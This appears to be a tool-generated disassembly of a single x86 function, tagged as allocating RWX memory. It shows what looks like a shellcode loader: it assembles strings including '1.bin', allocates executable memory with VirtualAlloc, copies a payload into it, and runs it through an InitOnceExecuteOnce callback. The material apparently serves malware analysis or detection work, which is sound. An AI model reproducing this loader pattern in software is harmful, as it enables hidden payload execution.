Function at 0x401c20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3ac
mov eax, dword [0x414024]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401a80
call fcn.00401b50
call fcn.00401900
call fcn.004011e0
push str.www.baidu.com
lea ecx, [ebp - 0x1c8]
call fcn.00402470
push str.www.bing.com
lea ecx, [ebp - 0x18c]
call fcn.00402470
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x1e8], 0
push 0x412300
lea ecx, [ebp - 0x280]
call fcn.00402470
push 0x412304
lea ecx, [ebp - 0x224]
call fcn.00402470
push 0x412308
lea ecx, [ebp - 0x1e4]
call fcn.00402470
call fcn.004011b0
push 0x41230c
lea ecx, [ebp - 0x244]
call fcn.00402470
push 0x412310
lea ecx, [ebp - 0x264]
call fcn.00402470
push 0x412314
lea ecx, [ebp - 0x1ac]
call fcn.00402470
push 0x412318
lea ecx, [ebp - 0x39c]
call fcn.00402470
push str.1.bin
lea ecx, [ebp - 0x380]
call fcn.00402470
lea eax, [ebp - 0x380]
push eax
push str._..._:
lea ecx, [ebp - 0x39c]
push ecx
push 0x412328
lea edx, [ebp - 0x1ac]
push edx
push 0x41232c
lea eax, [ebp - 0x264]
push eax
push 0x412330
lea ecx, [ebp - 0x244]
push ecx
push 0x412334
lea edx, [ebp - 0x1e4]
push edx
push 0x412338
lea eax, [ebp - 0x224]
push eax
push 0x41233c
lea ecx, [ebp - 0x280]
push ecx
lea edx, [ebp - 0x20]
push edx
call fcn.004030d0
add esp, 0xc
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00403190
add esp, 0xc
push eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.004031d0
add esp, 0xc
push eax
lea edx, [ebp - 0x74]
push edx
call fcn.00403190
add esp, 0xc
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.004031d0
add esp, 0xc
push eax
lea ecx, [ebp - 0xac]
push ecx
call fcn.00403190
add esp, 0xc
push eax
lea edx, [ebp - 0xc8]
push edx
call fcn.004031d0
add esp, 0xc
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00403190
add esp, 0xc
push eax
lea ecx, [ebp - 0x100]
push ecx
call fcn.004031d0
add esp, 0xc
push eax
lea edx, [ebp - 0x11c]
push edx
call fcn.00403190
add esp, 0xc
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.004031d0
add esp, 0xc
push eax
lea ecx, [ebp - 0x154]
push ecx
call fcn.00403190
add esp, 0xc
push eax
lea edx, [ebp - 0x170]
push edx
call fcn.004031d0
add esp, 0xc
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.00403190
add esp, 0xc
lea ecx, [ebp - 0x170]
call fcn.00402580
lea ecx, [ebp - 0x154]
call fcn.00402580
lea ecx, [ebp - 0x138]
call fcn.00402580
lea ecx, [ebp - 0x11c]
call fcn.00402580
lea ecx, [ebp - 0x100]
call fcn.00402580
lea ecx, [ebp - 0xe4]
call fcn.00402580
lea ecx, [ebp - 0xc8]
call fcn.00402580
lea ecx, [ebp - 0xac]
call fcn.00402580
lea ecx, [ebp - 0x90]
call fcn.00402580
lea ecx, [ebp - 0x74]
call fcn.00402580
lea ecx, [ebp - 0x58]
call fcn.00402580
lea ecx, [ebp - 0x3c]
call fcn.00402580
lea ecx, [ebp - 0x20]
call fcn.00402580
lea ecx, [ebp - 0x1e8]
push ecx
lea edx, [ebp - 0x248]
push edx
lea ecx, [ebp - 0x364]
call fcn.004025c0
push eax
lea eax, [ebp - 0x348]
push eax
call fcn.004045c0
add esp, 8
push eax
call fcn.00401450
add esp, 0xc
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x1e8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x190], eax
mov edx, dword [ebp - 0x1e8]
push edx
mov eax, dword [ebp - 0x248]
push eax
mov ecx, dword [ebp - 0x190]
push ecx
call fcn.00403830
add esp, 0xc
mov dword [ebp - 0x228], 0
lea edx, [ebp - 0x190]
push edx
push 0
mov eax, dword [ebp - 0x190]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_InitOnceExecuteOnce]
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x3a0], edx
mov eax, dword [ebp - 0x3a0]
push eax
call fcn.00403f01
add esp, 4
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x3a4], 0xffffffff
lea ecx, [ebp - 0x364]
call fcn.00402580
lea ecx, [ebp - 0x380]
call fcn.00402580
lea ecx, [ebp - 0x39c]
call fcn.00402580
lea ecx, [ebp - 0x1ac]
call fcn.00402580
lea ecx, [ebp - 0x264]
call fcn.00402580
lea ecx, [ebp - 0x244]
call fcn.00402580
lea ecx, [ebp - 0x1e4]
call fcn.00402580
lea ecx, [ebp - 0x224]
call fcn.00402580
lea ecx, [ebp - 0x280]
call fcn.00402580
lea ecx, [ebp - 0x18c]
call fcn.00402580
lea ecx, [ebp - 0x1c8]
call fcn.00402580
mov eax, dword [ebp - 0x3a4]
jmp 0x4021bd
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004036d1
mov esp, ebp
pop ebp
ret 0x10